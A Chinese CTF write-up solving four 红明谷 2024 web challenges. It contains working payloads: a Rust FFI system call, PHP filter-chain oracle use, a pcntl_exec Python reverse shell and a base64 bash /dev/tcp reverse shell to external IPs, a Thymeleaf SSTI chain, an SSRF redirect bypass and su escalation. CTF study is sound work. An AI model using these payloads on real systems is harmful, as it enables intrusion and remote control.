目录

  1. 1. 前言
  2. 2. playground
  3. 3. ezphp (复现)
  4. 4. noauth (LateSolve)
    1. 4.1. 绕disable_function
    2. 4.2. 提权
  5. 5. Simp1escape(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

红明谷2024

2024/4/3 CTF线上赛 SSTI 提权 PHP SSRF Rust
  |     |   总文章阅读量:

前言

记录奇异题目四则

其中两题都和蓝帽有点关系,唉蓝帽

参考:

https://nlrvana.github.io/%E7%BA%A2%E6%98%8E%E8%B0%B7-2024-web/

https://www.yuque.com/dat0u/ctf/cn1gblvgu7mlacys#yJWEm

https://zer0peach.github.io/2024/04/04/%E7%BA%A2%E6%98%8E%E8%B0%B72024-web%E5%A4%8D%E7%8E%B0/

playground

Rust

#[macro_use] extern crate rocket;  
  
use std::fs;  
use std::fs::File;  
use std::io::Write;  
use std::process::Command;  
use rand::Rng;  
  
#[get("/")]  
fn index() -> String {  
    fs::read_to_string("main.rs").unwrap_or(String::default())  
}  
  
#[post("/rust_code", data = "<code>")]  
fn run_rust_code(code: String) -> String{  
    if code.contains("std") {  
        return "Error: std is not allowed".to_string();  
    }  
    //generate a random 5 length file name  
    let file_name = rand::thread_rng()  
        .sample_iter(&rand::distributions::Alphanumeric)  
        .take(5)  
        .map(char::from)  
        .collect::<String>();  
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {  
        file.write_all(code.as_bytes());  
    }  
    if let Ok(build_output) = Command::new("rustc")  
        .arg(format!("playground/{}.rs",&file_name))  
        .arg("-C")  
        .arg("debuginfo=0")  
        .arg("-C")  
        .arg("opt-level=3")  
        .arg("-o")  
        .arg(format!("playground/{}",&file_name))  
        .output() {  
        if !build_output.status.success(){  
            fs::remove_file(format!("playground/{}.rs",&file_name));  
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();  
        }  
    }  
    fs::remove_file(format!("playground/{}.rs",&file_name));  
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))  
        .output() {  
        if !output.status.success(){  
            fs::remove_file(format!("playground/{}",&file_name));  
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();  
        } else{  
            fs::remove_file(format!("playground/{}",&file_name));  
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();  
        }  
    }  
    return String::default();  
  
}  
  
#[launch]  
fn rocket() -> _ {  
    let figment = rocket::Config::figment()  
        .merge(("address", "0.0.0.0"));  
    rocket::custom(figment).mount("/", routes![index,run_rust_code])  
}

没怎么玩过rust,但是一眼可以看出过滤std,有 /rust_code 路由

rustc的操作大概是我们传代码就会执行的意思

那么让gpt写个外部的c语言代码命令执行就行(

extern "C" {
    fn system(cmd: *const u8) -> i32;
}

fn main() {
	// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
    unsafe {
        system("cat /flag".as_ptr());
    }
}

ezphp (复现)

php侧信道

php8.3.2

index.php

<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
    echo hash_file('md5', $_POST['f']);
}
?>

明显是在 hash_file 上做文章,能想到的也就是侧信道攻击,原理:https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle

exp:https://github.com/synacktiv/php_filter_chains_oracle_exploit

python filters_chain_oracle_exploit.py --target url --file flag.php --parameter f

爆破过程依旧是稀烂的服务器回显错误重开

只要能爆出个参数 ezphpPhp8 就行,flag.php传入参数

flag.php

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

然后这里的 $a 是匿名类,但是 unset 会销毁变量,这下不会了

这个时候要找一下如何触发一个匿名类:https://hi-arkin.com/archives/php-anonymous-stdClass.html

匿名类的类名与文件所在行列相关,即同一个位置实例出来的类为同一个类

$obj=new class{};
// class名为: 'class@anonymous'+chr(0)+php文件路径+行数$列数
echo get_class($obj);

那么构造我们的payload,注意有%00

/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

列数是随机的,得爆破一下,然后就能得到flag了


noauth (LateSolve)

pcntl绕disable_function

感谢靶机不关之恩,晚上八点才做出来(

进去一个登录验证

扫出www.zip,解压得到账密

[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036

登录

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Restricted Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo '小明是运维工程师,最近网站老是出现bug。';
    exit;
} else {
    $validUser = 'admin';
    $validPass = '2e525e29e465f45d8d7c56319fe73036';

    if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
        header('WWW-Authenticate: Basic realm="Restricted Area"');
        header('HTTP/1.0 401 Unauthorized');
        echo 'Invalid credentials';
        exit;
    }
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

不能直接命令执行和phpinfo,猜测php.ini里disable_functions ban了

那就用php自带的函数和类查目录

?cmd=?><?php $it = new DirectoryIterator($_GET['file']);foreach($it as $f) {printf("%s", $f->getFilename());echo'</br>'; }?>&file=glob:///*

根目录下有flag,但是没权限读

总之先连个蚁剑

image-20240403161057466

记得下面的请求信息带上请求头Authorization:Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=

然后不让上传文件打不了 ld_preload,回显 ret=127 也不能执行命令

翻到 /usr/local/etc/php/php.ini

disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink

PS:eval是不会被disable_functions ban掉的

翻数据库文件config.inc.php

image-20240403200703842

image-20240403200638993

数据库连不上去

绕disable_function

翻扩展,发现了一个很新的pcntl

image-20240403203753084

搜一下:发现是第四届蓝帽杯的原题,pcntl扩展绕disable_functions的操作:https://cn-sec.com/archives/228037.html

弹shell

GET:
/index.php?cmd=eval($_POST[1]);

POST:
1=?><?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("115.236.153.172",41678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

然后网页会502,不过能成功弹shell

image-20240403205539855

提权

环境里面没有sudo,用find / -perm -u=s -type f 2>/dev/null查一下

发现有su,不过要以终端运行

之前翻文件的时候发现有python环境,可以用python起一个终端

python -c 'import pty; pty.spawn("/bin/bash")'

看一下/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:

和蓝帽杯那题一样,发现有admin用户,拿前面数据库的密码可以成功登录,提权

拿到flag

image-20240403205758850


Simp1escape(复现)

Thymelaef模板注入

审一下代码

/getsites路由

@Controller
public class AdminController {
    public AdminController() {
    }

    @GetMapping({"/getsites"})
    public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String ipAddress = request.getRemoteAddr();
        if (!ipAddress.equals("127.0.0.1")) {
            response.setStatus(HttpStatus.FORBIDDEN.value());
            return "forbidden";
        } else {
            Context context = new Context();
            TemplateEngine engine = new SpringTemplateEngine();
            String dispaly = engine.process(hostname, context);
            return dispaly;
        }
    }
}

一眼需要ssrf,然后是一个thymeleaf的ssti,注意thymeleaf的版本是3.0.15:

Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
return dispaly;

/curl路由:

@RestController
public class CurlController {
    private static final String RESOURCES_DIRECTORY = "resources";
    private static final String SAVE_DIRECTORY = "sites";

    public CurlController() {
    }

    @RequestMapping({"/curl"})
    public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
        if (!url.startsWith("http:") && !url.startsWith("https:")) {
            System.out.println(url.startsWith("http"));
            return "No protocol: " + url;
        } else {
            URL urlObject = new URL(url);
            String result = "";
            String hostname = urlObject.getHost();
            if (hostname.indexOf("../") != -1) {
                return "Illegal hostname";
            } else {
                InetAddress inetAddress = InetAddress.getByName(hostname);
                if (Utils.isPrivateIp(inetAddress)) {
                    return "Illegal ip address";
                } else {
                    try {
                        String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
                        File saveDir = new File(savePath);
                        if (!saveDir.exists()) {
                            saveDir.mkdirs();
                        }

                        TimeUnit.SECONDS.sleep(4L);
                        HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
                        if (connection instanceof HttpURLConnection) {
                            connection.connect();
                            int statusCode = connection.getResponseCode();
                            if (statusCode == 200) {
                                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));

                                BufferedWriter writer;
                                String line;
                                for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {
                                }

                                writer.write(result);
                                reader.close();
                                writer.close();
                            }
                        }

                        return result;
                    } catch (Exception var15) {
                        return var15.toString();
                    }
                }
            }
        }
    }
}

总之关键的部分就是起了一个curl的作用,我们可以利用它进行ssrf

/路由:

@Controller
public class IndexController {
    public IndexController() {
    }

    @GetMapping({"/"})
    public String index() {
        Context context = new Context();
        SpringTemplateEngine engine = new SpringTemplateEngine();
        String index = engine.process("index", context);
        return index;
    }
}

也是一个thymeleaf渲染,不过模板不可控

那么思路很明显,往/getsides的hostname里直接传入thymeleaf ssti的payload,高版本的thymeleaf payload要参考rwctf2024 chatterbox:https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89

payload:

[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

而在这之前我们需要进行ssrf

那么重点看/curl,首先是Utils.isPrivateIp(inetAddress),其方法为

public static boolean isPrivateIp(InetAddress ip) {
    String ipAddress = ip.getHostAddress();
    System.out.println(ipAddress);
    if (!ip.isSiteLocalAddress() && !ip.isLoopbackAddress() && !ip.isAnyLocalAddress()) {
        if (!ipAddress.startsWith("100")) {
            return false;
        } else {
            int x = Integer.parseInt(ipAddress.split("\\.")[1]);
            return x >= 64 && x <= 127;
        }
    } else {
        return true;
    }
}

其中isLoopbackAddress会检查回环地址,那么直接curl 127.0.0.1就被ban了

不过下面有HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();,作用就是远程访问一个url

那么我们就可以用302跳转实现绕过

起一个php服务

302.php

<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT%28java%2Elang%2EBoolean%29%2EforName%28%22com%2Efasterxml%2Ejackson%2Edatabind%2EObjectMapper%22%29%2EnewInstance%28%29%2EreadValue%28%22%7B%7D%22%2CT%28org%2Espringframework%2Eexpression%2Espel%2Estandard%2ESpelExpressionParser%29%29%2EparseExpression%28%22T%28Runtime%29%2EgetRuntime%28%29%2Eexec%28%27bash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzcvMzA5MDggMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%27%29%22%29%2EgetValue%28%29%7D%5D%5D");
exit;

然后/curl?url=http://ip/302.php即可

image-20240711182929996

PS:这题也可以通过DNS重绑定绕过,因为这题设置了TTL为0

image-20240711153120325